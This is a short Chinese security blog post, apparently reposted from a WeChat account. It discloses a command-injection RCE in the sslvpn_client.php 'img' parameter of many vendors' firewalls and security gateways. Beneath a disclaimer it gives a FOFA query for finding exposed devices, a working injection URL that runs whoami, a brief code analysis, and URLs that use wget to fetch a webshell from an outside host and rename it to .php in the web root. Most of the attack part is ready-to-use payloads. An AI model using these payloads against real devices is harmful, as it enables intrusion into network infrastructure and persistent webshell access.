多个安全设备通杀RCE(附分析)

声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

漏洞影响：
H3C-下一代防火墙
安全信息-明御安全网关
MAIPU-安全网关
D-Link-下一代防火墙
HUAWEI-产品
迈普通信技术股份有限公司安全网关
博达通信-下一代防火墙
任天行网络安全管理系统/安全审计系统
安博通应用网关
烽火网络安全审计
瑞斯康达科技发展股份有限公司安全路由器
任子行网络安全审计系统
绿盟安全审计系统
深圳市鑫塔科技有限公司第二代防火墙
海康威视安全网关
优炫防火墙
SG-8000深度安全网关
网御星云上网行为管理系统
360上网行为审计系统

fofa：body="/webui/images/default/default/alert_close.jpg"

利用：/sslvpn/sslvpn_client.php?client=logoImg&img=x%20/tmp|echo%20%60whoami%60%20|tee%20/usr/local/webui/sslvpn/ceshi.txt|ls

shell: sslvpn/ceshi.txt

分析

漏洞在此处传参

img参数get传输，并用了formatpost对img做了一个处理

如果 $action 为假或魔术引号未开启，则执行以下代码块：，acton默认为0

• 使用 htmlspecialchars 转义 HTML 特殊字符。

• 使用 trim 去除字符串两侧的空格。

• 返回处理后的结果。

如果输入字符串不包含反斜杠，则直接执行和处理包含反斜杠的情况相同的代码块。 

直接调用系统命令 将 /mnt/ 目录下的文件复制到 /usr/local/webui/sslvpn/public/images/ 目录中  

所以这里直接拼接即可。

写shell

https://XXXX/sslvpn/sslvpn_client.php?client=logoImg&img=|wget  http://XXXX/shell.txt  -P /usr/local/webui/sslvpn

https://XXXXXXX/sslvpn/sslvpn_client.php?client=logoImg&img=|mv /usr/local/webui/sslvpn/shell.txt /usr/local/webui/sslvpn/shell.php

原文始发于微信公众号（潇潇安全）：多个安全设备通杀RCE(附分析)